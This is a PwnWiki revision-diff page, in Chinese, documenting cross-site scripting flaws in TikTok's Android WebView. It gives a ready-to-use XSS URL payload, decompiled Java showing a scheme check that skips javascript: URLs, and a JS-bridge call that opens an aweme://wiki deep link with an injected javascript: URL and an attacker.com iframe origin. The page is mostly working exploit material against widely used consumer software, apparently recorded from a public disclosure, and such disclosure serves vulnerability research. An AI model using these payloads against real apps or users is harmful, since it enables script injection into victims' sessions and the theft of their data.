Difference between revisions of "安卓版TikTok XSS漏洞"
From PwnWiki
(Marked this version for translation) |
|||
| Line 22: | Line 22: | ||
</translate> | </translate> | ||
| − | < | + | <pre> |
| − | |||
if(!e.b(arg8)) { | if(!e.b(arg8)) { | ||
com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid."); | com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid."); | ||
| Line 30: | Line 29: | ||
return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1); | return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1); | ||
} | } | ||
| − | </ | + | </pre> |
<translate> | <translate> | ||
| − | |||
即便驗證不是在javascript方案上,也可以使用該方案對該WebView進行XSS攻擊。 | 即便驗證不是在javascript方案上,也可以使用該方案對該WebView進行XSS攻擊。 | ||
</translate> | </translate> | ||
| + | |||
| + | |||
<pre> | <pre> | ||
Latest revision as of 21:51, 19 March 2021
TikTok WebView上的通用XSS
https://m.tiktok.com/falcon/#'),alert(1));//
將觸發以下執行:
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))
Add Wiki Activity的另一個XSS
Add Wiki Activity 實現URL驗證,以確保不會在其中打開黑名單中的URL。但驗證只在http或https方案中進行。因為他們認為其他方案都是無效的,不需要驗證。
if(!e.b(arg8)) {
com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
return false;
}public static boolean b(String arg1) {
return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
}
即便驗證不是在javascript方案上,也可以使用該方案對該WebView進行XSS攻擊。
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));